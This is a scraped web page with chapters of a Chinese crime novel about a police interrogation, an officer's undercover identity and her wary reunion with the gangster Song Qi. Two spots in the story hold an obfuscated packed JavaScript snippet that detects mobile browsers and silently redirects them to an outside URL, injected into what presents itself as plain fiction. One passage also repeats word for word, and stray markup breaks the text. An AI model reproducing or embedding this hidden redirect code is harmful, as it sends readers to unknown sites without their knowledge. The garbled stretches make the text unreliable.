当警察接到线报赶到现场时,他正搂着一个陪.酒女在舞池中央转圈,动作闲适得像是在自己家里。 突击小组冲进来的时候,酒吧里一阵骚乱。 有人试图往后门跑,有人趁乱翻墙,还有人躲在桌子底下装醉。可宋祈没有。他只是站在原地,看着那些穿着制服的警察,嘴角勾起一个漫不经心的笑。 “宋祈,”领头的警察喊他的名字,“你被捕了。” 宋祈放下酒杯,动作优雅得像是刚从一场宴会归来。他没有挣扎,也没有反抗,只是摊开双手,像迎接着什么许久未见的旧友。 他看了看四周被摔得东倒西歪的椅子,又扫了一眼舞池里停下动作的人群,脸上的笑容更深了一些:“也行,带路吧。” 他说着,就这么大摇大摆地自己迈上了警车。 他坐在审讯室的椅子上,像坐在自家阳台的摇椅里一样轻松惬意,甚至还主动问了警员:“有没有热茶?今天风有点凉啊。”那语气里没有半点拘谨,反倒像是在和朋友寒暄。 茶端上来,他接过杯子,吹了吹,抿了一口,点头笑了:“不错,比酒吧里的酒顺口。” 接下来的几个小时里,他始终保持着同样的从容。 警方的提问一一抛出,他的回答却像是提前准备好的录音带: “这事我真不清楚。” “我不过是个生意人。” “我就是在酒吧跳个舞,怎么了?点个陪酒小姐也不行吗?” 他的话不多,但每一句都滴水不漏,甚至带着点令人抓狂的轻蔑。像是在告诉警员:你们能抓我进来,但你们根本找不到什么。 “出国这几年,你在干什么?”一名警员打破了短暂的沉默,语气里带着一点试探。 宋祈放下手里的茶杯,杯底在桌面上发出一声轻响。他歪了歪头,露出一个恰到好处的笑容:“旅个游,学点东西,见见世面。怎么了,违法了吗?” “那为什么回来?”警员的语气紧了些。 宋祈扬了扬眉,似笑非笑地看着对方,手指在桌面上轻轻敲了两下:“家乡啊,风景好,老地方的酒好,朋友多——这地方,比国外有意思。” 他的回答没有任何实质内容,却将问题绕了个干干净净。警员看着他那双带笑的眼睛,心底生出一阵无力感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284057|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 而事实也确实如此。 他的行程记录干净得过分,银行卡交易流水规整得像模范市民的记账单,连买菜的收据都摞得整整齐齐——这一切都像是在嘲笑警方的无力,是证明他能够如此完美地规避了所有可能的漏洞。 阮云琛早就被廖致远通知提前下班了。 ——这并没有什么问题,也不会引人怀疑。 廖致远已经把阮云琛潜伏的申请报了上去。现在的她,不能以任何身份和宋祈有过早的接触。每一刻的耐心,都是为日后的行动争取更大的胜算。 “你来淮龙到底是为了什么?”警员抬头问道。 这是最后一个问题。 宋祈进警局的时间已经接近四个小时,而他们能留住他的时间,也就这么几个小时。没有证据,没有新的突破,所有的试探和审问最终都会像石沉大海,只能眼睁睁看着他从这扇门里走出去。 时间一分一秒地流逝,像无形的沙子从指缝滑落。宋祈显然知道这一点,他甚至懒得遮掩嘴角的笑意。 玻璃后的廖致远看着这一切,目光不动声色地落在宋祈身上。他明白,这场对峙从一开始就注定徒劳,但问出最后一个问题,总还是要试试的。 宋祈轻轻挑了下眉,像是被这个问题逗笑了。 “生意啊,”他语气悠闲,像是聊家常,“淮龙港口最近不是要扩建吗?我听说这里的货运潜力不错,就想着过来看看,有没有什么能搭上的顺风车。” 他的手指轻轻敲了敲桌面,像是在思考,又像是在给自己的话增添几分可信度。紧接着,他忽然抬起头,目光从对面的警员身上划过,带着一种不易察觉的戏谑。 “哦,对了,”他好像想起了什么,语气漫不经心,“还有一件小事——找条以前走丢的狗。” 玻璃后的廖致远没有动。 他的目光沉了沉,像是被什么压住了一瞬,又像是瞬间回到了多年前的一场追捕。他站在那里,手指轻轻摩挲着桌边,脸上的疲惫被掩藏在皱起的眉头后。 宋祈转身离开,步伐从容得像是刚刚谈妥了一笔再简单不过的交易。 外面的天色已经渐暗,晚霞烧红了半边天。 宋祈从警局正门走出,步伐一如既往地稳,嘴角微微扬起,像是刚参加完一场久别的老友聚会,从容又淡定。 “走丢的狗”——没有人把这句话当真,廖致远却不敢忽略它。 警方的效率有时候让人惊讶。 明明之前还在为人手不足、经费紧张焦头烂额,可一旦确定了方向,所有的阻力就像被某种无形的手拨开了一样,事情竟然顺畅得让人不安。 阮云琛的身份重塑开始得悄无声息。 公开数据库里,她的名字逐渐模糊起来。 从警校的学生名单到廖致远的收养记录,这一切都像被潮水一点点吞没,最终彻底消失不见。 她在大学之后的经历被润色得更加贴近现实:一个曾经历过家庭破碎的小镇女孩,靠兼职和助学金读完了大学,如今在一家普通的小公司做文职工作。 她的背景不复杂,却也不是一片空白。 警方巧妙地在履历中填补了几个节点,比如那些看似普通却细节完美的实习经历,再比如几次“机缘巧合”地和债务相关的工作记录。 住址仍旧是旧公寓。 那栋楼安静得像一片废弃的遗址,整条巷子里只有三四盏路灯还亮着,更多的地方被阴影吞没。正因为如此,这里显得更不引人注意。 之前的租客是一名来淮龙做港口小生意的外地男人。他租住了两年,老实本分,平时总是早出晚归。 阮云琛收到潜伏任务后,提前结束了租约,还支付了三个月的补偿金。那个男人接过钱时没有多问,只是叹了口气,说他正好打算搬回老家。 阮云琛知道,这一切安排得很稳妥——稳妥到连警方内部都没人能够质疑她选择住回旧公寓的理由。 可唯一的问题,是淼淼。 宋祈知道淼淼的存在,也知道她是阮云琛的软肋。 让淼淼继续住在旧公寓,等同于把她暴露在危险中;而让她搬走,则必须做到滴水不漏,确保宋祈完全察觉不到蛛丝马迹。 最终的方案是廖致远提出的。 住址仍旧是旧公寓。 那栋楼安静得像一片废弃的遗址,整条巷子里只有三四盏路灯还亮着,更多的地方被阴影吞没。正因为如此,这里显得更不引人注意。 之前的租客是一名来淮龙做港口小生意的外地男人。他租住了两年,老实本分,平时总是早出晚归。 阮云琛收到潜伏任务后,提前结束了租约,还支付了三个月的补偿金。那个男人接过钱时没有多问,只是叹了口气,说他正好打算搬回老家。 阮云琛知道,这一切安排得很稳妥——稳妥到连警方内部都没人能够质疑她选择住回旧公寓的理由。 可唯一的问题,是淼淼。 宋祈知道淼淼的存在,也知道她是阮云琛的软肋。 让淼淼继续住在旧公寓,等同于把她暴露在危险中;而让她搬走,则必须做到滴水不漏,确保宋祈完全察觉不到蛛丝马迹。 最终的方案是廖致远提出的。 “让她去田家庄的警校附属高中,住校。”他的语气很平静,却带着一丝不容拒绝的决绝,“我已经向上级申请了,名额和手续都批下来了。” “警校附中?”阮云琛愣了一下,眉头微微蹙起,“她……?” “她不是早说过想表演吗?警校附中的艺术社团也有相关课程。”廖致远顿了顿,像是怕她不接受,又补了一句,“那地方足够安全,封闭式管理,还有我们的人在场。只要她在那儿,宋祈就算知道她的存在,也不会轻易动手。” 阮云琛没有立刻回应,只是低下头,目光停留在桌面的一处细纹上。过了很久,她才点了点头:“那她呢?她愿意吗?” 廖致远没有回答,只是叹了口气。 淼淼听说这个决定时,反应比他们预想的还要安静。 她只是安静地收拾着自己的书包,偶尔低头整理几本书,仿佛这一切都是顺理成章的安排。 廖致远拍了拍她的脑袋,低声叮嘱:“好好学习,别让你姐分心。” 淼淼点了点头,嘴角微微翘了一下,像是想安慰他:“我知道啦,廖叔。” 可临走前,她却在阮云琛的房间门口站了很久。 那是一个安静的下午,窗外的光线洒在她的脸上,勾勒出一抹淡淡的轮廓。她轻轻推开门,看着那个还未完全搬空的房间,像是想说些什么,又咽了下去。 “姐……”她低低喊了一声。 阮云琛没有回头。她只是倚着窗台,静静地叹了口气。 “去吧。”她的声音平静得让人听不出任何情绪起伏。 淼淼最终还是没再说什么。 她背着书包走出房门,脚步声在寂静中显得格外清晰。 屋子里重新安静下来时,阮云琛才回过头。她看着地板上一道细细的划痕,蹲下了身,伸手轻轻抹去上面的灰尘,低声自言自语:“没事的。” 可这一声“没事”,说给谁听,她自己也不清楚。 103. 回来了 警方所捏造的阮云琛的生活,看起来就像是一个从未离开过这座城市的人,一个命运曾经跌落过谷底、如今不过在试图安静度日的普通人。 这些巧妙的安排背后,是警方基于现有资料的高明操作。 他们没有硬塞给她一个完全陌生的身份,而是利用她本来就有的经历,将一切拼接成了一个无懈可击的“平凡人生”。 这种设计的好处在于,它无需过多掩饰。 她的生活轨迹真实到不会引起任何怀疑,甚至她的警察身份也被抹去了,不仅从系统中清空了警校记录,还在她的社交关系中彻底断绝了与任何警务工作的联系。 她被重塑为一个普通人,一个不曾靠近权力边缘、不曾与法律体系发生任何直接交集的小角色。 阮云琛站在镜子前,看着自己的倒影。房间里没有开灯,落地窗外的光线洒在地板上,把她的影子切割成了几块。 这样的身份,对警方来说是最妥善的,对宋祈来说——对那个认识阮云琛的宋祈来说,这样的身份几乎无法挑剔。 因为它踩在他记忆中的那条线,既真实,又合理。 阮云琛过去是他的“狗”。 这话宋祈说过,也从未掩饰过。 他对那些被他捡回来的“野狗”有自己的标准——忠诚、乖顺、不惹麻烦,但也不能太无能,否则他不会浪费力气去调教。 而阮云琛,完美契合这个模板。 她的过去从未脱离过泥潭,她的骨子里带着那种在夹缝中求生的敏锐。哪怕她后来离开了,他也不会认为是背叛,而只是认为她走投无路、试图避开那场早已注定的崩塌。 他理解这样的选择,甚至带着一点残酷的宽容:小动物总是会认主的,哪怕它跑了,最后还是会回来。 而现在,她的归来——以一个“普通人”的身份——看上去顺理成章。 她的家庭记录显示她并没有更高的出路,父亲留下的债务与灰色的过往交织,像是一根拴住她的绳索,始终把她拉回到宋祈的世界里。 对宋祈而言,这不是问题,反而是确认她身份真实性的最直接方式。 她不是突然从天而降的陌生人,而是那个“跑丢了的小狗”。这样的身份,不仅不会引起他的怀疑,甚至会让他觉得一切都在他的掌控之中。 她的“平凡”并不突兀,她的“回归”也不显得刻意。她不是一个企图靠近他的威胁,而更像是一个被生活打磨得无路可走的弃子。 正是这种自然得无可挑剔的背景,让宋祈对她毫无戒备。 或许,宋祈内心还带着某种优越感——他可以一次又一次证明,只有他的世界才是这些人最后的归宿。 对他来说,这样的身份,是完美无瑕的。 警校的档案则被归入了“机密”类别——对于某些习惯挖掘底细的人来说,这份记录也许存在过于干净的破绽,但也足够让人无从追问。 系统里的学习经历被彻底清空,取而代之的是几次琐碎的社会培训记录,连毕业时间都被巧妙调整到普通高校的范围。 “潜伏”这个词听起来总是带着某种戏剧化的意思,像是电影里那些神秘而危险的桥段。 可对阮云琛来说,这更像是重新投胎——她的过去、现在甚至未来,都被精心包装成了另一个版本。 警方用了最好的资源,也赌上了最敏锐的直觉,因为他们知道,这次任务的成败可能决定了是否能彻底铲除宋祈的势力。 当然,这一切的关键,在于宋祈的视线。 六年前的他或许还会谨慎到连下属的鞋底都要检查,可时间让人松懈,也让局面变得不同。 他的核心圈子依旧紧密,但外围已经失去了曾经的锋利。眼线虽然还在,可他们的核查力度比过去低了许多,更别说去追踪一个“毫无威胁”的旧人。 阮云琛的身份,是在这些漏洞中游刃有余的。 她重新成为了一个普通人,一个再不起眼不过的小角色。 新的档案、伪造的经历,甚至包括她的衣着打扮、说话方式,都被细致到近乎偏执的程度安排妥当。每一处细节都被检查了无数次,确保没有破绽。 她站在镜子前,目光停留在自己的脸上,确认着自己是否真的变成了另一个人——又或者说,确认着自己是否成为了警方所希望的另一个人,是否变成了......宋祈所希望的,曾经的她。 没有制服,没有警徽,只有过去的影子,逐渐从镜子里显现出来。 破旧的帆布鞋,皱巴巴的外套,裤脚边带着些许磨损的痕迹。她站在镜子前,像是回到了那个被潮湿阴影笼罩的年代。 那时候,她没有任何依靠。她走在街头巷尾,步履匆匆却始终低着头。她的眼神里没有现在的平静,只有深深的戒备和冷漠。她学会了微笑,但那微笑像一层涂抹得过厚的漆,稍稍触碰就会裂开。 她记得当年自己是如何站在宋祈面前的。 卑微,弱小,小心翼翼地看着他的脸色,不敢多说一句话,却在心里盘算着如何熬过明天的任务。 宋祈教会她的第一件事,是如何用别人的错误掩盖自己的无能;第二件事,是如何用“忠诚”换取片刻的安稳。 镜子前面,那个旧日的自己又重新浮现在她的眼前。 阮云琛的指尖微微颤了一下,手机屏幕的亮光映在她的脸上,投出了一层晦涩的阴影。 那是一个再普通不过的名字,却像沉在水底的石头,平静的表面下,暗流汹涌。 阮云琛的拇指悬在拨号键上,指尖似乎隐隐发烫。屏幕上的名字静静地躺在那里,像是一道看似简单却无法跨越的鸿沟。 她向来果断,可此刻却像被什么无形的力量束缚住了。 窗外的风掀起窗帘的一角,热气混杂着一丝凉意,扑在她的脸上。 阮云琛盯着手机屏幕,目光一动不动,怕稍一分神,就会让这小小的动作变得更加艰难。 她的手指微微用力,又松开了一点,她不断重复着这个动作,像是在跟自己较劲。 明明只需要轻轻一点,却仿佛要耗尽全身的力气。 ——就打一通电话。 她在心里对自己说,试图找到一点决心。 只是一通电话而已。 可这句话听起来连她自己都觉得站不住脚。 挣扎、踌躇、犹豫——这些平时从不属于她的情绪,此刻却像潮水一样涌上来,将她紧紧包裹住。 阮云琛攥紧了手机,指节微微发白,终于在某一刻闭上了眼睛,仿佛用尽了全部的勇气,猛地按了下去。 耳边立刻响起了拨号音。 嘟——嘟—— 声音一响,阮云琛吓了一跳,手指条件反射地向红色的挂断键滑去,可还没来得及按下,电话那头已经接通了。 “姐?” 熟悉的声音穿过听筒,落进耳中,阮云琛的动作顿住了。指尖还悬在屏幕上方,却像被钉住了一样,再也没有挪动半分。 她没有开口,只是静静地听着,那声“姐”像是一条无形的线,将两端隔着无数距离的情绪牵连起来。 “是你吗?”声音又传了过来,带着点不确定的试探,语气里却没有太多波动,像是在刻意维持某种轻松。 阮云琛闭了闭眼,缓缓吐出一口气。 “嗯。”她的声音很轻,轻到几乎听不见。 电话那头静了几秒,随即响起了一个轻轻的笑声:“真稀奇,今天太阳打西边出来了?” 阮云琛没有接话。 她的目光落在桌上的水杯上,杯沿留着浅浅的指印。她伸手把杯子转了半圈,指尖避开了原本触碰的位置,轻轻按在另一侧。 空气在这一刻显得过于安静,像是连风声都小心翼翼地藏了起来。她的嘴唇动了一下,又停住,像是有无数的话在喉间翻滚,却没有一丝声音能越过那道无形的屏障。 过了很久,她终于开了口。声音很低,几乎掩在那片沉默里:“最近过得好吗?” “还行。”那头的声音依旧平稳,“英国这边没什么特别的,课程紧张,但挺有意思的。” 阮云琛点点头,却没有意识到对方看不见。 “姐,你呢?”阮秋的声音放得更轻了些,透着小心翼翼,却又是满满当当都是藏不住的关心。 阮云琛没有立刻回答。 她拿起杯子喝了一口水,水温不冷不热,却让她莫名觉得喉咙发紧。 “挺好的。”她说。 又是一阵沉默。 电话里传来了浅浅的呼吸声,让这片安静显得格外沉重。 “姐……”电话那头忽然低声开口,却像是又把话吞了回去,换成了一句轻描淡写的嘱咐,“别太累了。” 阮云琛愣了愣,眉头微不可察地蹙了一下。她的手指下意识地在桌上有一搭没一搭地敲着,敲得指尖通红,却也毫无知觉。 直到最后,她才轻轻地“嗯”了声:“好。” 电话挂断了。 屏幕暗下去的那一刻,屋里只剩下风声和心跳的回音。阮云琛把手机放在桌上,可手指却没有挪开,就那么虚虚地搭着屏幕边缘,像是不小心留住了一点温度。 她靠在椅子里,目光定定地落在窗外的树影上。风拂过枝叶,影子摇晃得像一帧帧无声的旧电影。 过了很久,她才低头看了眼手机。屏幕依旧漆黑,没有任何消息。她盯着它看了一会儿,又将它翻了个面放下,像是想切断某种隐秘的期待。 可没过几秒,她又伸手将手机翻了回来。屏幕上反射出她的影子,模糊得连她自己都认不出。 她盯着看了又看,自己也不知道是在等着什么,还是在失落些什么。像是无声的叹息卡在胸口,堵得让人喘不过气。 眼睛涩得像是被沙子迷了,连窗外的光都变得刺眼。可她不敢闭上眼睛,怕一闭上,那声音就会反复回到耳边。 一种说不清的情绪盘踞在心口,像是某种过期的钝痛,既没有刺破皮肤,却又让人呼吸不过来。 阮云琛觉得哪里不对,却说不上来具体是什么。 阮秋刚才说了很多话,和以往并没有什么不同——甚至,还算关心周到。但就是有些地方,让她心里堵得慌。 以前,他总能很敏锐地捕捉到她的情绪,总能在她还没开口的时候问:“姐,你是不是有事?” 可这次,他没有问。 那种轻描淡写的客气感像是一根细针,扎得不疼,却让人不舒服。她抬起手,用指尖敲了敲桌面,声音很轻,像是敲进了一片空洞里。 “姐。” 那一声回荡在耳边,仿佛风吹过沙地,细腻又尖锐,搅得人心里发紧。 阮云琛不明白为什么这一声还能引起波澜。习惯了这么多年,已经听得麻木了才对,可今天偏偏听起来有些不同。 手指在桌面上轻轻敲了几下,节奏断断续续,隔了会儿,阮云琛又去低头看着那杯水,杯沿上还残留着刚才触碰的痕迹。 她伸手转了一下杯子,却没有去拿。 或许是她想太多了。 或许他真的有他的事情要忙。 阮云琛收回手,将手机翻了过去。屏幕贴在桌面上,隔断了她的目光,却没能隔断那些翻涌的情绪。 ——真是奇怪。 她忽然意识到,自己竟然在期待什么。 那种堵塞感随着时间的推移并没有散去,反而越积越多。她坐在那里,像是陷入了一种难以言明的怅然,指尖轻轻敲击着桌面,声音渐渐沉了下去。 或许只是太累了,她想。 可心里那一点点的失落,却怎么都骗不过去。 指尖在桌上停了停,轻轻按了下去。她低头盯着那一点压出的痕迹,过了很久,才慢慢地将手收回。 她知道这通电话改变不了什么。 也许是想确认什么,又或者,只是为了让自己在接下来的日子里,有一个可以握住的念想。 ……对,只是想要有一些活下去的念想而已。 “好久不见啊,阮云琛。” 公寓楼下的巷子依旧安静,昏黄的路灯将狭长的街道染成了一片破碎的金色。夜风从墙缝里穿过,带着一丝早春的凉意。阮云琛提着一个小塑料袋,里面装着一盒快餐,步伐不紧不慢,似乎是在延长这条短路的每一秒。 她抬眼时,看见了那个人。 巷子的尽头站着的男人,身影被路灯拉得很长,手里夹着一支烟,火光在夜色中一明一灭。他像是刚从某个遥远的地方归来,倚靠在墙边,表情悠闲得像在欣赏月色。 阮云琛的脚步顿住了,手里的塑料袋不自觉地攥紧了一分。 那是宋祈。 他在看她,嘴角微微扬起,眼神带着些许熟稔的笑意。 “不欢迎我吗?”他的声音平静,带着一种令人莫名不安的温和。 阮云琛下意识地屏住了呼吸,心跳瞬间被某种紧迫感占据。过去的记忆如潮水般涌上来:那束百合的香气、离别时他的眼神、他留下的威胁与信任交织的阴影。 可几秒后,她的指尖轻轻松开,表情恢复了平静,像是一切都在掌控之中。 “您……”她垂下眼帘,嘴角扬起一个微笑,“您怎么会在这里?” “路过。”他扬了扬手里的烟,慢悠悠地吸了一口,“正好看看老朋友。” 阮云琛没有回答,只是走近了两步,眼神中带着一丝小心翼翼的警惕:“这里还是老样子,没什么变化。” “是啊,没什么变化。”他打量着她,目光缓慢而锋利,像是在检验一件熟悉却陌生的物品,“你倒是变了不少。” 她笑了笑,没有接话,只是转而解释:“租不起外面的房子,只好继续租这里了。勉强过得去。” “是吗?”他轻声笑了笑,语气里听不出真假。 夜风吹过,拂动她耳边的碎发。她抬起手理了一下,掩饰性地低下头,指尖无声地摩挲着袋子的提手。 “你还住这里,”他说,“真让我意外。” 阮云琛抬起头,对上他的目光。那一瞬间,她的心跳猛地加速,但她的表情却没有一丝波动。 “也没有别的地方去,”她轻声说,声音里带着些许自嘲,“像我这样的人,能住这儿就已经不错了。” 他没再接话,只是将烟头随手掐灭在墙上,脚步却没有移动半分。那双眼盯着她,像是在等什么,又像是在逼什么。 空气像是被什么东西压住了一样,静得只剩下风声穿过巷口的低鸣。 阮云琛觉得肩膀像是被什么看不见的东西压着,连呼吸都不敢太明显。她垂下眼,手微不可察地攥紧了袋子。 几秒钟后,他笑了一声,低低的,带着几分冷意。 “阮云琛,”他的声音忽然低了下来,却比任何一次都清晰,“你知道吧,我‘回来了’。” 阮云琛当然知道。 他就站在这里,离她不过几步远,甚至连烟味都飘进了她的鼻腔里。可他口中的“回来”,显然不仅仅是出现在这里这么简单。 ——他要重新回来。 不是人,而是权力,是地位,是那个曾经横行淮龙的和安堂。 她的喉咙微微发紧,手指攥住袋子下意识地用了些力,却还是没有抬眼。 宋祈慢条斯理地拨了拨袖口,似笑非笑地看着她,像是对她的沉默并不意外,甚至显得有些欣赏。 “我知道你明白。”他低声补了一句,像是随意的寒暄,却带着针尖般的分量。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284058|158973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 阮云琛抬起头,目光迎向他,平静得像是一潭死水。 她没有说话,但宋祈笑了,那笑容带着些许意味不明的戏谑。他伸手拍了拍她的肩膀,动作缓慢得像是划破时间的刀口。 “好好休息,”他说,转身离开时步履从容,像是散步,又像是在布下一张无形的网,“接下来的日子,可别让我失望。” 他的背影融进了巷口的阴影里,脚步声一点点消失,像是一种刻意的提醒。 阮云琛站在原地,仿佛背后还残留着那只手的重量。她没有动,也没有出声,只是觉得胃里一阵控制不住的翻涌。 她看着地面上自己的影子,渐渐被夜色吞没。 宋祈的“回来”,是一个警告,也是一个宣言。对她而言,那更像是一种倒计时。 他转身朝巷子尽头走去,步伐依旧从容,像是在走一场漫不经心的闲庭信步,甚至连最后一道目光也没有回头留给她。 黑色的轿车就在路边等着他,他打开车门,动作利落。 可就在钻进车里之前,他回头看了她一眼,语气带着一点说不清的意味:“好好照顾自己,还有,你的‘家人们’。” 车门关上,发动机的声音低沉响起,伴随着远去的车灯,巷子再次归于寂静。 阮云琛站在原地,塑料袋的提手在指间勒出了几道浅红色的印子。她没有动,也没有出声,只是看着那盏被车灯照亮的路灯,许久没有挪动视线。 空气中还留着一点烟草的味道,那句“好久不见”却像是警告,在她耳边挥之不去。 宋祈看上去并不像发现了什么——至少表面上是这样。 他的神情没有太多起伏,像是刚结束了一场无关紧要的对话,甚至带着几分不动声色的愉悦。 但阮云琛知道,宋祈从来都不可能“什么都不知道”。 他是那种哪怕只抓到一点蛛丝马迹,也会迅速拼凑出一整幅图的人。 真正的问题不是他“是否发现了什么”,而是他发现后打算怎么做。 阮云琛站在楼下,目送着他的背影渐行渐远。风吹动身后的窗帘,发出细微的沙沙声,像是无形的耳语。 宋祈或许已经察觉到她的身份有些不同寻常,但在现阶段他并不在意——或者说,他暂时无法在意。 他的势力刚刚开始重建,每一份人手都显得尤为宝贵。比起失去一个曾经的得力助手,他更需要眼下这段“合作”。 可阮云琛清楚,宋祈的无所谓,只是一种更高明的掌控。他没有对她发出任何直接的质疑,也没有提起当年的事,只是在她的心口留下一颗隐隐作痛的刺。 不是没发现,只是现在需要留着你。 他的手段一如既往——把所有的疑问都藏在眼神之外,只留下不着痕迹的试探。 风从她的肩头掠过,像一双冰凉的手。阮云琛站在原地,手指握着袋子的边缘,力道足以让它发出微不可闻的摩擦声。 这是他的宣告。 也是她的开始。 楼道里的灯光昏黄,墙角的石灰层剥落,露出粗糙的水泥墙面。阮云琛拎着塑料袋,鞋底与地面轻轻摩擦,声音在空荡的走廊里显得格外清晰。 她的脑海里还残留着宋祈的声音,那句“回来了”像是在她心头划下一道隐隐作痛的痕迹。 转角处,程一冉的身影伫立在那里。她双手交叉环在胸前,手指转着一把车钥匙,金属片在灯光下反射出一丝冷光。 程一冉目光下垂,看着楼下的街道,神情淡漠,像是一尊安静的雕塑。 “真巧。”程一冉听见脚步声,头也没抬,语气冷淡。 阮云琛顿住了脚步。 她抬头看了去,扯着嘴角笑了笑:“巧吗?” 程一冉没有再说话。 阮云琛知道程一冉早就回到了这里。 几个月前,程一冉从城区的公寓搬回了这间旧楼。 她没掩饰过自己的理由——为了更近距离地监视和安堂余党。 她甚至向上级主动提交了申请,理由简单直接:既然这片区域曾经是犯罪活动的源头,那她选择扎根在这里,也许能挖出一点旧日的余烬。 没有人反对,也没有人觉得奇怪。程一冉一贯如此,执着得让人挑不出毛病。 她就这样光明正大地住了回来,回到了这片已经快被人遗忘的小巷。对她而言,这不仅是一个居所,也是一个据点。 但阮云琛知道得更多一点。 程一冉在回到这里之前,并不是一直住在城区公寓。 多年前,她为了给母亲万秀治病,曾卖掉了这套房子,用卖房的钱偿还了从亲戚那儿借的钱,搬到了医院附近的小公寓——那是一片租金低廉的区域,离医院很近,但环境远不如这里。 说来也讽刺。 阮云琛从前最讨厌的,就是那些邻居们没完没了的八卦和碎嘴;可偏偏这次,消息就是从他们嘴里传来的。 几个月前,阮云琛搬回来住时,碰见楼下的几个老人围着聊天。话题从小区的废弃电梯转到房子里的旧住户,再到程一冉身上。 “你还记得程家的闺女吧?那姑娘现在出息了,当上特警了!” “可不是嘛,听说她还买回了这套房子。” “也怪不容易的,她妈以前那一场火……啧啧,命都差点没了。后来还住医院好几年吧?” “是啊,当时她为了治病,还把房子卖了。我记得是租到医院那边了,听说过得紧巴巴的……” 阮云琛本来没怎么在意,可这些话像针一样扎进她耳朵里,让她一下子就想起了很多过去的细节。 程一冉的母亲,那个曾被大火烧伤的女人,在这里恢复得不错。等到病情稳定后,程一冉将她送回乡下老家,让她过上了清静的生活。 而程一冉则开始拼命工作,利用警校的补助和实习工资,一点点攒回了自己的底气。几个月前,她向银行申请了贷款,把这套旧房子买了回来。 阮云琛并不觉得奇怪。 程一冉就是这样的人。 她的归来并非纯粹为了怀旧,而是一次有目的的选择。 对警方,她只需要一句“为了更近距离地监视和安堂余党”就足够了;但阮云琛知道,她更需要一个据点。 这里离和安堂的旧址最近,她要等的,是任何一点蛛丝马迹。她知道宋祈还会回来——那个人从来不会离开自己的领地。 程一冉不会掩饰她的动机,但她也不会让任何人过多参与。 就像她不会对警方多说半句,也不会对阮云琛解释她买回房子的细节。 她只是在这里,像一根钉子,扎进了这片土地。固执又锋利,静待一切可能的机会。 警方在商量阮云琛的潜伏任务时顺便提到程一冉这个名字,廖致远当时的语气很平静,只说了一句:“她住在同一栋楼,能提供支援。” 没有问程一冉是否愿意,也没有问阮云琛是否介意。 阮云琛抬起脚,走近了些,程一冉仍站在原地,像是并不急着让出路。 她的眼神扫了一眼阮云琛手里的塑料袋,里面是简单的速食面和几瓶矿泉水,透过塑料映出些微轮廓。 她们没有再多说什么,空气里是一种微妙的沉默。 阮云琛明白程一冉在这里的原因。不是为了和她寒暄,也不是单纯的“巧遇”。 是监督,是观察,也是某种程度的支援。 程一冉的目光扫过她,又移开,嘴角似乎牵动了一下,但很快归于平静。 阮云琛忽地想起了多年前在巷子里听到的另一句类似的话——“我们不一样。” 是啊......是啊,不一样。 如今她们又站在了同一个地方,命运却依然不同。 104. A 阮云琛多少猜到了,当初程一冉为什么不揭穿自己。 程一冉是个极端的人。 她的正义观就像她握着的那把枪,简单、直接,冷硬得几乎没有任何弹性。对于程一冉来说,法律和秩序才是唯一的准则。 但她又是矛盾的。 程一冉讨厌和安堂,甚至可以说,憎恨一切与他们相关的阴影。而阮云琛的过去,正是那个阴影的一部分。 可她没有揭穿。 不是因为她们之间还有什么所谓的“旧情”可念——她们之间早就没有了那些东西。 巷子里的人向来善于用嘴巴审判别人的生活,那些八卦碎嘴就像灰尘,一点一点地黏上来,甩都甩不掉。 阮云琛的妈妈去世之后,邻里早已把阮家“判了刑”。那时候,程一冉偶尔会站在窗边,透过玻璃往楼下看一眼,却从来没有走近过。 不是不想,而是不敢。 阮云琛记得,有一次她拎着半袋红薯路过巷口,撞见程一冉站在楼梯上。她只看了对方一眼,甚至没有停下脚步,就像没看到一样。 阮云琛想,那大概是程一冉最后一次试图靠近她。 她们之间,没有深仇大恨,也没有义薄云天的善意,更多的是一种夹在记忆和现实之间的复杂情绪。 程一冉没有揭穿她,大概是因为她明白,阮云琛做的事,确实不该由她一个人背负。 程一冉的母亲万秀欠下的债,是她们家自己的问题。阮云琛来收债,带走的不过是一个旧录像机。而那台录像机里的磁带,最终落到了警方手里,成为了案件的证据。 阮云琛并不觉得自己做了什么高尚的事。她只知道,她能拿走的东西本就不多,而那些她拿走的,都是不得已。 或许,程一冉也明白这些。 她们之间的距离,既远又近,像是两根平行线,却因为某些意外的节点不得不交汇。 所以,程一冉没有揭穿她。 不是因为想要成全什么,而是因为她也知道,错与对,从来不是简单的二分法。 阮云琛不知道程一冉会怎么看她,但她知道,当她站在楼梯转角处,看到程一冉迎面而来的目光时,她并不害怕。 甚至,有那么一瞬间,她觉得,那目光里也藏着些许不言而喻的谅解——不是原谅,而是谅解。 就像程一冉说的那句:“你回来了。” 那句轻描淡写的话里,藏着的是一种她们谁也不会去触碰的共识。 程一冉是个复杂的人。她的冷漠并不彻底,她的正义也不绝对。 阮云琛知道,程一冉站在这里,还在和她和平地打着招呼,不是因为对过去毫无芥蒂,而是因为她更清楚,真正的敌人是什么。 阮云琛还记得那年程一冉归校的时候,她站在警校的射击场边上,听着教官冷声念出训练的标准成绩,而目光却落在远处一张新贴上的通缉令上。 那是和安堂的一名线人。 ——真正的仇恨,应该有一个更明确的方向。 所以程一冉选择了沉默。不是妥协,而是权衡。 就像她后来说的那样—— “如果揭穿你对我有用,我会毫不犹豫地这么做。但如果没有,我为什么要浪费时间?” 阮云琛对此并没有感激,也没有觉得愧疚。 